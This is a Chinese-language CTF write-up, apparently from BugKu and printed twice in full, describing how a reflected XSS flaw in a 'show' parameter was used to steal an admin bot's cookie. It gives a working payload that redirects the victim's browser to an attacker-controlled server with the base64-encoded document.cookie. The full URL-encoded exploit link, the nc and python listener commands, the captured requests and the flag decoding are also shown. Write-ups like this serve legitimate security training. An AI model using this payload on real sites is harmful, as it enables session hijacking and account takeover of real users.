CTF Writeup结合反射型 XSS 窃取管理员 Cookie 夺旗1. 题目分析与思路进入题目页面后存在两个主要的交互入口第一个输入框存在反射型 XSSReflected XSS漏洞对应的参数为show。可通过传入恶意 JavaScript 脚本实现前端代码执行。第二个输入框提示该接口会由后台管理员Admin Bot访问输入的链接。典型的一套XSS 钓鱼 Admin链。我们的解题思路如下构造一个携带 XSS Payload 的链接当受害者Admin打开该链接时浏览器将执行恶意 JS 代码。该 JS 代码会读取当前页面的document.cookie并将其发送至我们拥有控制权的公网监听服务。将构造好的链接提交给第二个输入框诱导管理员 Bot 访问。在公网服务器上接收包含 Flag 的 Cookie 并进行解码。2. 解题准备目标靶盘 URL:http://82.157.146.43:13315/zombie公网监听服务器 (VPS) IP:182.92.212.95需开启并监听80端口3. 渗透测试与漏洞利用过程步骤一构造 XSS Payload 链接为了避免 Cookie 中可能含有的特殊字符在 HTTP 请求中传输时发生截断或变形我们在前端读取 Cookie 后使用 JavaScript 内置的btoa()函数将其转化为Base64 编码。恶意 JavaScript 代码window.locationhttp://182.92.212.95/?cookiebtoa(JSON.stringify(document.cookie));将上述代码嵌入到反射型 XSS 漏洞点script标签中并通过 URL 编码拼接至参数show。编码后的完整 Payload 链接http://82.157.146.43:13315/zombie?showa%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F182.92.212.95%2F%3Fcookie%3D%27%2Bbtoa%28JSON.stringify%28document.cookie%29%29%3B%3C%2Fscript%3E步骤二本地连通性测试在 VPS 上启动端口监听此处使用nc监听 80 端口也可以自己找相应的工具进行监听python -m http.server 80 # 或者使用 nc -lvnp 80使用本地浏览器手动访问在步骤一中构造好的Payload 链接。接着可在 VPS 监听端观察到一条 HTTP 回显请求GET /?cookieIiI HTTP/1.1 ...此时参数cookie后面的值为IiI解码后为这是因为当前本地浏览器并没有对应的 Admin 凭证 Cookie但此步骤验证了网络通道与 XSS 跳转逻辑是通畅的。步骤三诱导管理员访问获取 Flag再次确保 VPS 上的 80 端口处于监听状态。将步骤一构造好的完整Payload 链接粘贴到第二个输入框提示管理员会访问的输入框中并提交。稍等片刻管理员 Bot 会在后台使用其特权账号携带 Flag Cookie访问该链接从而触发我们的 XSS Payload。此时VPS 端的监听终端成功捕获到了管理员 Bot 发送过来的 GET 请求GET /?cookieIndjdGZ7YzE0NTUxYy00ZG0xbi04MDctY2g0MS1uMWMzLWowYi05MzI2MX0i HTTP/1.1 Host: 182.92.212.95 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ... Connection: keep-alive步骤四Flag 解码提取出请求参数中的 Base64 密文IndjdGZ7YzE0NTUxYy00ZG0xbi04MDctY2g0MS1uMWMzLWowYi05MzI2MX0i在终端环境或在线解码工具中进行 Base64 解码echo -n IndjdGZ7YzE0NTUxYy00ZG0xbi04MDctY2g0MS1uMWMzLWowYi05MzI2MX0i | base64 -d输出结果wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}最终 Flag 值为wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}
BugKu ezlogin解题
发布时间:2026/6/27 5:30:10
CTF Writeup结合反射型 XSS 窃取管理员 Cookie 夺旗1. 题目分析与思路进入题目页面后存在两个主要的交互入口第一个输入框存在反射型 XSSReflected XSS漏洞对应的参数为show。可通过传入恶意 JavaScript 脚本实现前端代码执行。第二个输入框提示该接口会由后台管理员Admin Bot访问输入的链接。典型的一套XSS 钓鱼 Admin链。我们的解题思路如下构造一个携带 XSS Payload 的链接当受害者Admin打开该链接时浏览器将执行恶意 JS 代码。该 JS 代码会读取当前页面的document.cookie并将其发送至我们拥有控制权的公网监听服务。将构造好的链接提交给第二个输入框诱导管理员 Bot 访问。在公网服务器上接收包含 Flag 的 Cookie 并进行解码。2. 解题准备目标靶盘 URL:http://82.157.146.43:13315/zombie公网监听服务器 (VPS) IP:182.92.212.95需开启并监听80端口3. 渗透测试与漏洞利用过程步骤一构造 XSS Payload 链接为了避免 Cookie 中可能含有的特殊字符在 HTTP 请求中传输时发生截断或变形我们在前端读取 Cookie 后使用 JavaScript 内置的btoa()函数将其转化为Base64 编码。恶意 JavaScript 代码window.locationhttp://182.92.212.95/?cookiebtoa(JSON.stringify(document.cookie));将上述代码嵌入到反射型 XSS 漏洞点script标签中并通过 URL 编码拼接至参数show。编码后的完整 Payload 链接http://82.157.146.43:13315/zombie?showa%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F182.92.212.95%2F%3Fcookie%3D%27%2Bbtoa%28JSON.stringify%28document.cookie%29%29%3B%3C%2Fscript%3E步骤二本地连通性测试在 VPS 上启动端口监听此处使用nc监听 80 端口也可以自己找相应的工具进行监听python -m http.server 80 # 或者使用 nc -lvnp 80使用本地浏览器手动访问在步骤一中构造好的Payload 链接。接着可在 VPS 监听端观察到一条 HTTP 回显请求GET /?cookieIiI HTTP/1.1 ...此时参数cookie后面的值为IiI解码后为这是因为当前本地浏览器并没有对应的 Admin 凭证 Cookie但此步骤验证了网络通道与 XSS 跳转逻辑是通畅的。步骤三诱导管理员访问获取 Flag再次确保 VPS 上的 80 端口处于监听状态。将步骤一构造好的完整Payload 链接粘贴到第二个输入框提示管理员会访问的输入框中并提交。稍等片刻管理员 Bot 会在后台使用其特权账号携带 Flag Cookie访问该链接从而触发我们的 XSS Payload。此时VPS 端的监听终端成功捕获到了管理员 Bot 发送过来的 GET 请求GET /?cookieIndjdGZ7YzE0NTUxYy00ZG0xbi04MDctY2g0MS1uMWMzLWowYi05MzI2MX0i HTTP/1.1 Host: 182.92.212.95 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ... Connection: keep-alive步骤四Flag 解码提取出请求参数中的 Base64 密文IndjdGZ7YzE0NTUxYy00ZG0xbi04MDctY2g0MS1uMWMzLWowYi05MzI2MX0i在终端环境或在线解码工具中进行 Base64 解码echo -n IndjdGZ7YzE0NTUxYy00ZG0xbi04MDctY2g0MS1uMWMzLWowYi05MzI2MX0i | base64 -d输出结果wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}最终 Flag 值为wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}